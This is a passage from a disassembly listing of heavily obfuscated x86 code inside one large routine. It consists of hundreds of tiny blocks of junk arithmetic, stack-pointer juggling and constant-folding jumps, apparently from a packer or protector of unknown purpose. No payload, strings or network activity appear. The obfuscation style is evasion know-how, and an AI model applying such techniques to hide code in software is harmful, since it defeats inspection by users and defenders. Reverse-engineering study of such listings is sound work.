; ---------------------------------------------------------------------------


loc_595E9C:				; CODE XREF: sub_58A891+C7AAj
		add	ah, 3Ch
		mov	dh, ah
		pop	eax
		jmp	loc_58FE3B
; ---------------------------------------------------------------------------


loc_595EA7:				; CODE XREF: sub_58A891+41BDj
		pop	edi
		not	eax
		neg	eax
		sub	esp, 4
		mov	[esp+58h+var_58], ebp
		mov	ebp, 5B54781Bh
		add	ebp, 0DDBEFF3Dh
		add	eax, ebp
		mov	ebp, [esp+58h+var_58]
		add	esp, 4
		jmp	loc_59A6EE
; ---------------------------------------------------------------------------


loc_595ED0:				; CODE XREF: sub_58A891+11018j
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_5980DF
; ---------------------------------------------------------------------------


loc_595EE1:				; CODE XREF: sub_58A891+10624j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_595734
; ---------------------------------------------------------------------------


loc_595EF2:				; CODE XREF: sub_58A891+9BC8j
		push	esp
		pop	ebp
		push	ebx
		jmp	loc_5948F8
; ---------------------------------------------------------------------------


loc_595EFA:				; CODE XREF: sub_58A891+C03Cj
		pop	[esp+3Ch+var_3C]
		pop	esp
		mul	ecx
		push	edi
		mov	edi, esp
		jmp	loc_59AE4F
; ---------------------------------------------------------------------------


loc_595F08:				; CODE XREF: sub_58A891+64EFj
		mov	esi, 42522B60h
		add	ebx, esi
		pop	esi
		jmp	loc_58F62E
; ---------------------------------------------------------------------------


loc_595F15:				; CODE XREF: sub_58A891+AC2Fj
		pop	ebx
		jmp	loc_58F325
; ---------------------------------------------------------------------------


loc_595F1B:				; CODE XREF: sub_58A891+AFEAj
		not	dl
		inc	dl
		xor	dl, 89h
		sub	al, dl
		pop	edx
		push	dx
		push	691Bh
		mov	[esp+2Eh+var_30+2], ebx
		mov	bl, 9
		shl	bl, 6
		xor	bl, 0C1h
		jmp	loc_596C05
; ---------------------------------------------------------------------------


loc_595F3C:				; CODE XREF: sub_58A891+8147j
		sub	[esp+28h+var_28], 22EE5B53h
		pop	edx
		push	eax
		mov	eax, 254157B2h
		xor	eax, 2FF81C97h
		neg	eax
		jmp	loc_593C72
; ---------------------------------------------------------------------------


loc_595F56:				; CODE XREF: sub_58A891+8AB0j
		xchg	eax, [esp+38h+var_38]
		pop	esp
		mov	ax, word ptr [esp+34h+var_34]
		push	2687h
		mov	[esp+38h+var_38], eax
		push	esp
		pop	eax
		jmp	loc_598414
; ---------------------------------------------------------------------------


loc_595F6D:				; CODE XREF: sub_58A891+EEE6j
		sub	[esp+38h+var_38], 4CBD216Bh
		push	[esp+38h+var_38]
		pop	eax
		jmp	loc_592F85
; ---------------------------------------------------------------------------


loc_595F7D:				; CODE XREF: sub_58A891+D0A3j
		pop	ebp
		push	ebx
		mov	ebx, 3A717396h
		push	edi
		mov	edi, 66023F21h
		push	esi
		mov	esi, 10F15487h
		inc	esi
		jmp	loc_5993BA
; ---------------------------------------------------------------------------


loc_595F96:				; CODE XREF: sub_58A891+D87Aj
		shr	esi, 8
		inc	esi
		push	edx
		jmp	loc_598883
; ---------------------------------------------------------------------------


loc_595FA0:				; CODE XREF: sub_58A891+A725j
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		and	eax, ecx
		mov	ecx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_593613
; ---------------------------------------------------------------------------


loc_595FC3:				; CODE XREF: sub_58A891+E380j
		sub	bl, 0E5h
		add	bl, 62h
		jmp	loc_593546
; ---------------------------------------------------------------------------


loc_595FCE:				; CODE XREF: sub_58A891+4920j
		dec	esi
		jmp	loc_595A29
; ---------------------------------------------------------------------------


loc_595FD4:				; DATA XREF: sub_58A891+3B13o
		push	[esp+8+var_8]
		pop	edx
		push	esi
		mov	esi, esp
		push	esi
		jmp	loc_58FDC4
; ---------------------------------------------------------------------------


loc_595FE1:				; CODE XREF: sub_58A891+A7BEj
					; sub_58A891+B7A4j
		mov	[esp+6Ah+var_6C+2], ecx
		mov	cl, 4Ah
		mov	bh, 9Dh
		add	bh, 31h
		add	bh, cl
		jmp	loc_58F58D
; ---------------------------------------------------------------------------


loc_595FF2:				; CODE XREF: sub_58A891+8ADBj
		push	eax
		mov	eax, 9CA2C29h
		and	eax, 22DB0BD2h
		ja	loc_59A6DC
		jmp	loc_59774D
; ---------------------------------------------------------------------------
		jmp	loc_5989D9
; ---------------------------------------------------------------------------


loc_59600D:				; CODE XREF: sub_58A891+CB0Fj
		push	edi
		push	esi
		mov	esi, 2B0D1A10h
		jmp	loc_59B0AE
; ---------------------------------------------------------------------------
		align 2
		rcr	byte ptr [edx+0], 1
		fsubr	dword ptr [edi+ecx*8]
		jmp	loc_598517
; ---------------------------------------------------------------------------


loc_596025:				; CODE XREF: sub_58A891:loc_591985j
					; sub_58A891+9C8Aj ...
		dec	al
		jno	loc_5968AE
		inc	al
		jns	loc_597DE3
		jmp	loc_595FE1
; ---------------------------------------------------------------------------


loc_59603A:				; CODE XREF: sub_58A891+41CEj
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		push	7E51h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	edx
		push	edi
		push	ebp
		mov	ebp, 3836733h
		jmp	loc_591244
; ---------------------------------------------------------------------------


loc_59605C:				; CODE XREF: sub_58A891+7EA0j
		push	edi
		mov	edi, 35B92EE6h
		xor	edi, 60D66319h
		jmp	loc_59A4CB
; ---------------------------------------------------------------------------


loc_59606D:				; CODE XREF: sub_58A891+9606j
					; sub_58A891+E8D8j
		push	ecx
		push	2C42h
		mov	[esp+0], eax
		mov	eax, 1D5B761Bh
		or	eax, 53907AAh
		shr	eax, 1
		add	eax, 12F24810h
		jmp	loc_58EA76
; ---------------------------------------------------------------------------


loc_59608C:				; CODE XREF: sub_58A891:loc_59A8F0j
		xor	ecx, 7F159715h
		mov	ebx, ecx
		pop	ecx
		sub	[edi+24h], ebx
		mov	ebx, [esp-14h+arg_A+2]
		add	esp, 4


loc_5960A1:				; CODE XREF: sub_58A891+F0ADj
		push	2A85h
		mov	[esp-14h+arg_A+2], ebx
		push	[esp-14h+arg_A+2]
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59B084
; ---------------------------------------------------------------------------


loc_5960BD:				; CODE XREF: sub_58A891+D7C7j
					; sub_58A891+EBABj
		inc	eax
		add	eax, 6AB55AF2h
		jmp	loc_5930DE
; ---------------------------------------------------------------------------


loc_5960C8:				; CODE XREF: sub_58A891+AAA3j
		inc	bl
		sub	bl, 46h
		xor	bl, 93h
		add	bl, 0CDh
		add	al, bl
		pop	ebx
		push	0F6Ch
		mov	[esp+0], ecx
		sub	esp, 4
		jmp	loc_591894
; ---------------------------------------------------------------------------


loc_5960E9:				; CODE XREF: sub_58A891+10071j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp+4+var_4]
		jmp	loc_593A21
; ---------------------------------------------------------------------------


loc_59610C:				; CODE XREF: sub_58A891+536Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+4Ch+var_4C]
		pop	esp
		mov	[esp+48h+var_48], ecx
		push	ebx
		push	73A85BFFh
		jmp	loc_599D0B
; ---------------------------------------------------------------------------


loc_59612D:				; CODE XREF: sub_58A891+4861j
		sub	eax, 7C631355h
		not	eax
		jmp	loc_594F21
; ---------------------------------------------------------------------------


loc_596139:				; CODE XREF: sub_58A891+D937j
		add	edx, 771A259Bh
		jmp	loc_5924B8
; ---------------------------------------------------------------------------


loc_596144:				; CODE XREF: sub_58A891+4934j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_59A504
; ---------------------------------------------------------------------------


loc_596151:				; CODE XREF: sub_58A891+C3C5j
		push	[esp+1Ch+var_18]
		push	[esp+20h+var_20]
		mov	edi, [esp+24h+var_24]
		add	esp, 4
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		jmp	loc_594E60
; ---------------------------------------------------------------------------


loc_59616F:				; CODE XREF: sub_58A891+5D04j
					; sub_58A891+C95Aj
		sub	eax, 4
		jmp	loc_59BA9B
; ---------------------------------------------------------------------------


loc_596177:				; CODE XREF: sub_58A891+6BE7j
		mov	eax, ebx
		mov	ebx, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	ecx, [esp+16h+var_18+2]
		add	esp, 4
		add	edi, eax
		jmp	loc_598627
; ---------------------------------------------------------------------------


loc_59618C:				; CODE XREF: sub_58A891+840Ej
		pop	ebx
		sub	[esp+4+var_4], eax
		push	ebx
		push	edi
		mov	edi, 28A301B7h
		mov	ebx, 2BE350F1h
		add	ebx, 757A6701h
		jmp	loc_59AD3A
; ---------------------------------------------------------------------------


loc_5961A7:				; CODE XREF: sub_58A891+10CC7j
		add	ax, 84C6h
		mov	bx, ax
		pop	eax
		push	eax
		mov	ax, 735Ah
		xor	ax, dx
		xor	dx, ax
		xor	ax, dx
		not	dx
		xchg	ax, dx
		xor	ax, 6F52h
		jmp	loc_58E926
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0Ch+var_C]
		jmp	loc_59988F
; ---------------------------------------------------------------------------


loc_5961D4:				; CODE XREF: sub_58A891+A6A5j
		mov	ebx, 47241D4Fh
		jmp	loc_59A5F7
; ---------------------------------------------------------------------------


loc_5961DE:				; CODE XREF: sub_58A891+E232j
		pop	ebp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], edi
		push	2F2431A9h
		jmp	loc_59BABE
; ---------------------------------------------------------------------------


loc_5961EF:				; CODE XREF: sub_58A891+7B9Ej
		push	edi
		jmp	loc_5981DC
; ---------------------------------------------------------------------------


loc_5961F5:				; CODE XREF: sub_58A891+F950j
		mov	esp, [esp+3Ch+var_3C]
		movsx	cx, al
		sub	esp, 4
		jmp	loc_590207
; ---------------------------------------------------------------------------


loc_596204:				; CODE XREF: sub_58A891+E563j
		mov	cl, 92h
		sub	cl, 48h
		add	bl, cl
		pop	ecx
		and	ch, bl
		jmp	loc_5983C3
; ---------------------------------------------------------------------------


loc_596213:				; CODE XREF: sub_58A891+4F68j
					; sub_58A891+CCA8j
		mov	dh, bl
		pop	ebx
		mov	[ecx], dh
		push	[esp+8+var_8]
		pop	edx
		push	ecx
		jmp	loc_59433C
; ---------------------------------------------------------------------------


loc_596222:				; CODE XREF: sub_58A891+CD5Dj
		xor	cl, dh
		pop	edx
		sub	dh, cl
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	cl, dh
		pop	edx
		add	al, cl
		pop	ecx
		push	35E4h
		jmp	loc_599C1E
; ---------------------------------------------------------------------------


loc_59623D:				; CODE XREF: sub_58A891+DB55j
		add	eax, edi
		pop	edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebp
		jmp	loc_591F94
; ---------------------------------------------------------------------------


loc_59624C:				; DATA XREF: sub_58A891+3A1Bo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59625B:				; CODE XREF: sub_58A891+7D28j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_592523
; ---------------------------------------------------------------------------


loc_596269:				; CODE XREF: sub_58A891+C01Fj
		jmp	loc_597C0A
; ---------------------------------------------------------------------------


loc_59626E:				; CODE XREF: sub_58A891+CD83j
		push	esi
		jmp	loc_59A155
; ---------------------------------------------------------------------------


loc_596274:				; CODE XREF: sub_58A891+AAB9j
		push	esi
		mov	esi, 17C240CAh
		push	ecx
		push	42513C15h
		pop	ecx
		push	0
		sub	[esp+4Ch+var_4C], 26451C8h
		sub	[esp+4Ch+var_4C], ecx
		add	[esp+4Ch+var_4C], 26451C8h
		pop	ecx
		sub	ecx, 6595484Bh
		dec	ecx
		xor	ecx, 9022BCEDh
		jmp	loc_58F273
; ---------------------------------------------------------------------------


loc_5962AA:				; CODE XREF: sub_58A891+475Cj
					; sub_58A891+F3EFj
		mov	[esp+40h+var_40], esi
		push	esp
		pop	esi
		push	edi
		push	4947h
		mov	[esp+48h+var_48], edx
		mov	edx, 373D2A2Eh
		add	edx, 0C8C2D5D6h
		mov	edi, edx
		pop	edx
		sub	esi, 202D2F8Bh
		add	esi, edi
		jmp	loc_59AA5E
; ---------------------------------------------------------------------------


loc_5962D3:				; CODE XREF: sub_58A891+10F36j
		add	ebx, esi
		sub	ebx, 0D9346A0h
		pop	esi
		xchg	ebx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		xchg	edx, [esp+40h+var_40]
		pop	esp
		imul	cx
		jmp	loc_598873
; ---------------------------------------------------------------------------


loc_5962EE:				; CODE XREF: sub_58A891+5518j
		push	edx
		mov	edx, 2FED7A6Dh
		mov	ebp, 2FED7A6Fh
		jmp	loc_595DA4
; ---------------------------------------------------------------------------


loc_5962FE:				; CODE XREF: sub_58A891+E802j
		add	edx, ebx
		jmp	loc_59734D
; ---------------------------------------------------------------------------


loc_596305:				; CODE XREF: sub_58A891+927Aj
		pop	ebx
		push	edx
		jmp	loc_595363
; ---------------------------------------------------------------------------


loc_59630C:				; CODE XREF: sub_58A891+5FD7j
		sub	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		mov	ebx, 100h
		and	eax, ebx
		mov	ebx, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_599547
; ---------------------------------------------------------------------------


loc_596328:				; CODE XREF: sub_58A891+AAB3j
		mov	esi, 5A887A55h
		sub	ebp, esi
		pop	esi
		jmp	loc_595ABC
; ---------------------------------------------------------------------------


loc_596335:				; CODE XREF: sub_58A891+CD20j
		add	ebx, edi
		sub	ebx, 658D6D54h
		push	62C9h
		jmp	loc_59AE95
; ---------------------------------------------------------------------------


loc_596347:				; CODE XREF: sub_58A891+646Fj
		add	eax, 24383DE5h
		push	edi
		mov	edi, 4A97661Ah
		add	eax, edi
		jmp	loc_590714
; ---------------------------------------------------------------------------


loc_596359:				; CODE XREF: sub_58A891+9989j
					; sub_58A891+C6FDj
		xor	edx, [esp+0Eh+var_10+2]
		xor	[esp+0Eh+var_10+2], edx
		jmp	loc_592F8D
; ---------------------------------------------------------------------------


loc_596364:				; CODE XREF: sub_58A891+9F15j
		pop	edi
		push	31C5h
		mov	[esp+54h+var_54], ebx
		mov	ebx, 4
		sub	edi, 464E786Bh
		jmp	loc_592D11
; ---------------------------------------------------------------------------


loc_59637D:				; CODE XREF: sub_58A891+6EF9j
		sub	edi, edx
		pop	edx
		add	edi, 389F00FFh
		add	edi, eax
		sub	edi, 389F00FFh
		push	esi
		mov	esi, 6BA60549h
		xor	esi, 53F6C89h
		jmp	loc_597E47
; ---------------------------------------------------------------------------


loc_59639F:				; CODE XREF: sub_58A891+A5CAj
		mov	ecx, 5FE83AEBh
		jmp	loc_591F86
; ---------------------------------------------------------------------------


loc_5963A9:				; CODE XREF: sub_58A891+9803j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 378D4217h
		not	edi
		shr	edi, 2
		add	edi, 5B216F58h
		jmp	loc_597D0E
; ---------------------------------------------------------------------------


loc_5963C7:				; CODE XREF: sub_58A891+50B5j
					; sub_58A891+10078j ...
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		jmp	loc_593582
; ---------------------------------------------------------------------------


loc_5963D4:				; CODE XREF: sub_58A891+82B2j
		add	edx, eax
		sub	esp, 4
		mov	[esp-8+arg_0], esi
		push	5B6877F7h
		pop	esi
		sub	edx, 53641416h
		jmp	loc_598FE6
; ---------------------------------------------------------------------------


loc_5963ED:				; CODE XREF: sub_58A891+D241j
		mov	ecx, 64CC6243h
		dec	ecx
		shl	ecx, 5
		shr	ecx, 7
		jmp	loc_59ADBB
; ---------------------------------------------------------------------------


loc_5963FE:				; CODE XREF: sub_58A891+4463j
		mov	[esp+0], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_58FDAE
; ---------------------------------------------------------------------------


loc_59640E:				; CODE XREF: sub_58A891+E462j
		mov	edx, 5AE94B6Ch
		and	edx, 99A666Dh
		jo	loc_597B57
		sub	edx, 90C196Ch
		js	loc_5904E6
		push	45E8h
		mov	[esp+8+var_8], eax
		mov	bh, 5Bh
		push	ebp


loc_596437:				; DATA XREF: sub_58A891+3A3Fo
		mov	ax, word ptr [esp+0Ch+var_C]
		push	ebp
		jmp	loc_59B181
; ---------------------------------------------------------------------------


loc_596441:				; CODE XREF: sub_58A891+8D5Fj
		push	edx
		mov	edx, 421540FFh
		neg	edx
		dec	edx
		jmp	loc_595611
; ---------------------------------------------------------------------------


loc_59644F:				; CODE XREF: sub_58A891+F665j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+48h+var_48]
		jmp	loc_59B9AB
; ---------------------------------------------------------------------------


loc_59645F:				; CODE XREF: sub_58A891+71ECj
		add	bl, dl
		sub	bl, 7Ah
		add	bl, 25h
		pop	dx
		add	bl, al
		push	7DC8h
		jmp	loc_59BA03
; ---------------------------------------------------------------------------


loc_596475:				; CODE XREF: sub_58A891+DEFFj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-0Ah+arg_0+2]
		pop	esp
		mov	[esp-0Eh+arg_4+2], edi
		mov	edi, 421F040Ch
		neg	edi
		not	edi
		jmp	loc_596790
; ---------------------------------------------------------------------------


loc_596493:				; CODE XREF: sub_58A891+3D7Fj
					; sub_58A891+6D68j
		add	ebp, 79DE745Dh
		jmp	loc_59925B
; ---------------------------------------------------------------------------


loc_59649E:				; CODE XREF: sub_58A891+3CDEj
		xor	eax, 47DC465Bh
		sub	eax, 0DCD82B4Eh
		xor	edx, eax
		pop	eax
		xor	eax, edx
		mov	edx, [esp+3Ch+var_3C]
		push	4796h
		mov	[esp+40h+var_40], esi
		mov	esi, esp
		jmp	loc_59926E
; ---------------------------------------------------------------------------


loc_5964BF:				; CODE XREF: sub_58A891+A82Aj
		push	3FF7h
		mov	[esp+44h+var_44], ebp
		push	ecx
		jmp	loc_5945FE
; ---------------------------------------------------------------------------


loc_5964CD:				; CODE XREF: sub_58A891+BC51j
		add	esp, 4
		add	esp, 4
		push	esi
		jmp	loc_594C41
; ---------------------------------------------------------------------------


loc_5964DC:				; CODE XREF: sub_58A891+F2ACj
		push	[esp+44h+var_44]
		mov	ecx, [esp+48h+var_48]
		jmp	loc_5964CD
; ---------------------------------------------------------------------------


loc_5964E7:				; CODE XREF: sub_58A891+DE73j
		push	edi
		jmp	loc_59060C
; ---------------------------------------------------------------------------


loc_5964ED:				; CODE XREF: sub_58A891+107EEj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5964F2:				; CODE XREF: sub_58A891+A520j
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_590C88
; ---------------------------------------------------------------------------


loc_596501:				; CODE XREF: sub_58A891+5095j
		add	esp, 4
		jmp	loc_592203
; ---------------------------------------------------------------------------


loc_596509:				; CODE XREF: sub_58A891+C498j
		mov	esi, 21C25FA5h
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_598107
; ---------------------------------------------------------------------------


loc_59651C:				; CODE XREF: sub_58A891+D0F6j
		mov	ecx, [esp+0]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		jmp	loc_58F21E
; ---------------------------------------------------------------------------


loc_596531:				; CODE XREF: sub_58A891+9DDCj
		add	esp, 4
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_596544:				; CODE XREF: sub_58A891+FA17j
		or	ebx, 64C8331Dh
		dec	ebx
		or	ebx, 21AE1E9Fh
		jmp	loc_596D8C
; ---------------------------------------------------------------------------


loc_596556:				; CODE XREF: sub_58A891+6469j
		pop	ebx
		shr	esi, 3
		xor	esi, 8DFACD02h
		xor	edi, esi
		pop	esi
		push	edi
		add	[esp+4+var_4], 276E73CBh
		jmp	loc_5966C1
; ---------------------------------------------------------------------------


loc_596570:				; CODE XREF: sub_58A891+EDEEj
		pop	ebx
		shl	edi, 7
		jmp	loc_594CAB
; ---------------------------------------------------------------------------


loc_596579:				; CODE XREF: sub_58A891+E6AEj
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_593E6A
; ---------------------------------------------------------------------------


loc_596589:				; CODE XREF: sub_58A891+6D23j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59658E:				; CODE XREF: sub_58A891+DA67j
		pop	ebx
		jmp	loc_590784
; ---------------------------------------------------------------------------


loc_596594:				; CODE XREF: sub_58A891+C04Bj
		add	ebp, esi
		pop	esi
		jmp	loc_5958BA
; ---------------------------------------------------------------------------


loc_59659C:				; CODE XREF: sub_58A891+60E0j
		mov	eax, 2
		add	edi, eax
		jmp	loc_592748
; ---------------------------------------------------------------------------


loc_5965A8:				; CODE XREF: sub_58A891+E27Ej
		mov	[esp-8+arg_0], ebp
		jmp	loc_596BCC
; ---------------------------------------------------------------------------


loc_5965B0:				; CODE XREF: sub_58A891+CCB3j
		shl	esi, 5
		dec	esi
		push	eax
		mov	eax, 15034D24h
		neg	eax
		jmp	loc_595BCC
; ---------------------------------------------------------------------------
		mov	esp, [esp+0]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5965C9:				; CODE XREF: sub_58A891+6406j
		pop	esp
		and	[edi+1Ch], esi
		jmp	loc_591E54
; ---------------------------------------------------------------------------


loc_5965D2:				; CODE XREF: sub_58A891+80CAj
		push	edx
		jmp	loc_58EB99
; ---------------------------------------------------------------------------


loc_5965D8:				; CODE XREF: sub_58A891+E062j
		add	eax, ebp
		push	ecx
		mov	ecx, 745C3609h
		and	ecx, 4FC34BE2h
		xor	ecx, 42CA2116h
		sub	ecx, 0E574CD1Fh
		sub	eax, ecx
		pop	ecx
		jmp	loc_598E32
; ---------------------------------------------------------------------------


loc_5965FA:				; CODE XREF: sub_58A891+A165j
		add	ch, dl
		pop	edx
		mov	dh, ch
		pop	ecx
		sub	esp, 2
		mov	word ptr [esp+48h+var_48], bx
		push	cx
		mov	ch, 5Ah
		push	edx
		mov	dl, ch
		push	ecx
		jmp	loc_591C09
; ---------------------------------------------------------------------------


loc_596614:				; CODE XREF: sub_58A891+10043j
		dec	ebp
		jmp	loc_5929C6
; ---------------------------------------------------------------------------


loc_59661A:				; CODE XREF: sub_58A891+105E5j
		jmp	loc_58FA5C
; ---------------------------------------------------------------------------


loc_59661F:				; CODE XREF: sub_58A891+3DFEj
		xor	ecx, 5B6D9333h
		mov	eax, ecx
		mov	ecx, [esp+50h+var_50]
		add	esp, 4
		sub	eax, esi
		mov	esi, eax
		pop	eax
		xor	esi, 3C5C7918h
		sub	esi, 19E6DED7h
		and	ebp, esi
		mov	esi, [esp+48h+var_48]
		add	esp, 4
		xor	ebp, 64600DA7h
		jmp	loc_59111D
; ---------------------------------------------------------------------------


loc_596651:				; CODE XREF: sub_58A891+C761j
		pop	esp
		mov	[esp+40h+var_40], eax
		mov	al, 20h
		dec	al
		jmp	loc_594648
; ---------------------------------------------------------------------------


loc_59665E:				; CODE XREF: sub_58A891+10892j
		mov	[esp+40h+var_40], esi
		push	2F523534h
		mov	esi, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_597826
; ---------------------------------------------------------------------------


loc_596674:				; CODE XREF: sub_58A891+70CFj
		push	edi
		mov	edi, 7CC61E2Ch
		jmp	loc_59940E
; ---------------------------------------------------------------------------


loc_59667F:				; CODE XREF: sub_58A891+6F5Dj
		mov	ecx, 1
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		pop	ebp
		pop	ecx
		add	ebp, ebx
		pop	ebx
		push	esi
		push	ecx
		mov	ecx, 73402BC6h
		mov	esi, ecx
		pop	ecx
		jmp	loc_59753E
; ---------------------------------------------------------------------------


loc_59669D:				; DATA XREF: sub_58A891+3B07o
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		push	esp
		jmp	loc_59380E
; ---------------------------------------------------------------------------


loc_5966AF:				; CODE XREF: sub_58A891+6BF3j
		mov	[esp+16h+var_18+2], edx
		push	eax
		push	ecx
		push	4588h
		mov	[esp+22h+var_24+2], eax
		jmp	loc_58F09C
; ---------------------------------------------------------------------------


loc_5966C1:				; CODE XREF: sub_58A891+BCDAj
		pop	ebp
		sub	ebp, 276E73CBh
		pop	edi
		dec	ebp
		shl	ebp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 205245C7h
		sub	ebx, 409861C9h
		sub	ebx, 57B1036h
		jmp	loc_599A5E
; ---------------------------------------------------------------------------


loc_5966E9:				; DATA XREF: sub_58A891+3B8Fo
		pop	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5966F0:				; CODE XREF: sub_58A891+5283j
		pop	eax
		jmp	loc_58EE66
; ---------------------------------------------------------------------------


loc_5966F6:				; CODE XREF: sub_58A891+7006j
		push	edx
		mov	dh, 9Dh
		jmp	loc_5911F6
; ---------------------------------------------------------------------------


loc_5966FE:				; CODE XREF: sub_58A891+111F6j
		mov	edi, eax
		pop	eax
		neg	edi
		jmp	loc_5981CD
; ---------------------------------------------------------------------------


loc_596708:				; CODE XREF: sub_58A891+9527j
		mov	[esp+2Ch+var_2C], esi
		push	517Ch
		mov	[esp+30h+var_30], edi
		push	ebx
		push	37970BB1h
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		shr	ebx, 6
		add	ebx, 6333FAFEh
		mov	edi, ebx
		jmp	loc_58EA19
; ---------------------------------------------------------------------------


loc_596732:				; CODE XREF: sub_58A891+E982j
		push	small 7C94h
		mov	word ptr [esp+36h+var_38+2], dx
		push	ax
		pushf
		jmp	loc_593CB7
; ---------------------------------------------------------------------------


loc_596742:				; CODE XREF: sub_58A891+57E6j
		push	bx
		not	byte ptr [esp+22h+var_24+3]
		pop	bx
		mov	dh, bh
		pop	ebx
		mov	ch, dh
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_590112
; ---------------------------------------------------------------------------


loc_596757:				; CODE XREF: sub_58A891+F2A4j
		xor	edi, 6AC7473Ah
		sub	edx, 668246F9h
		add	edx, edi
		add	edx, 668246F9h
		pop	edi
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esi
		jmp	loc_5921E6
; ---------------------------------------------------------------------------


loc_596777:				; CODE XREF: sub_58A891+F543j
		add	ecx, 63BC597Eh
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_597062
; ---------------------------------------------------------------------------


loc_596785:				; CODE XREF: sub_58A891:loc_59BB31j
		add	ebp, 6A36ACB0h
		jmp	loc_59955B
; ---------------------------------------------------------------------------


loc_596790:				; CODE XREF: sub_58A891+BBFDj
		add	edi, 1
		push	4C18h
		mov	[esp-0Ah+arg_0+2], eax
		mov	eax, 0FF6C7CFAh
		sub	edi, eax
		pop	eax
		sub	eax, 1D48328Ch
		add	eax, 124A7427h
		add	eax, edi
		push	ebp
		mov	ebp, 72BE0020h
		xor	ebp, 7D1359D2h
		sub	ebp, 0FD62E5CBh
		jmp	loc_598FC5
; ---------------------------------------------------------------------------


loc_5967C9:				; CODE XREF: sub_58A891+3FCFj
		xchg	edi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		jmp	loc_5901F2
; ---------------------------------------------------------------------------


loc_5967D4:				; CODE XREF: sub_58A891+55DAj
		pop	ebx
		push	2689h
		jmp	loc_594A1C
; ---------------------------------------------------------------------------


loc_5967DF:				; CODE XREF: sub_58A891+C347j
		dec	ebp
		shl	ebp, 2
		push	ecx
		mov	ecx, 7E347DFBh
		push	edi
		mov	edi, 36A42CFAh
		and	ecx, edi
		pop	edi
		not	ecx
		inc	ecx
		jmp	loc_5976A7
; ---------------------------------------------------------------------------


loc_5967FA:				; CODE XREF: sub_58A891+9826j
		push	ecx
		mov	ch, 0BDh
		add	al, ch
		mov	ecx, [esp+38h+var_38]
		add	esp, 4
		sub	al, 0B7h
		add	al, 0F1h
		sub	al, bl
		sub	al, 0F1h
		jmp	loc_5995A5
; ---------------------------------------------------------------------------


loc_596812:				; CODE XREF: sub_58A891+6E86j
		sub	esp, 4
		jmp	loc_591548
; ---------------------------------------------------------------------------


loc_59681D:				; CODE XREF: sub_58A891+B2D7j
		push	100Ch
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5968C9
; ---------------------------------------------------------------------------


loc_596838:				; CODE XREF: sub_58A891+C78Fj
		xor	ebp, 0DEE48FDh
		shr	ebp, 2
		xor	ebp, 1A9392FAh
		xor	ebp, 7F69225Fh
		jb	loc_58EAD9
		add	ebp, 39D8144Eh
		jmp	loc_593DD5
; ---------------------------------------------------------------------------


loc_59685E:				; CODE XREF: sub_58A891+9756j
		pop	edi
		jmp	loc_593A2C
; ---------------------------------------------------------------------------


loc_596864:				; CODE XREF: sub_58A891+53DBj
		add	edi, 0BDA03F5h
		jmp	loc_597797
; ---------------------------------------------------------------------------


loc_59686F:				; CODE XREF: sub_58A891+8CB0j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		jmp	loc_597112
; ---------------------------------------------------------------------------


loc_596887:				; CODE XREF: sub_58A891+725Aj
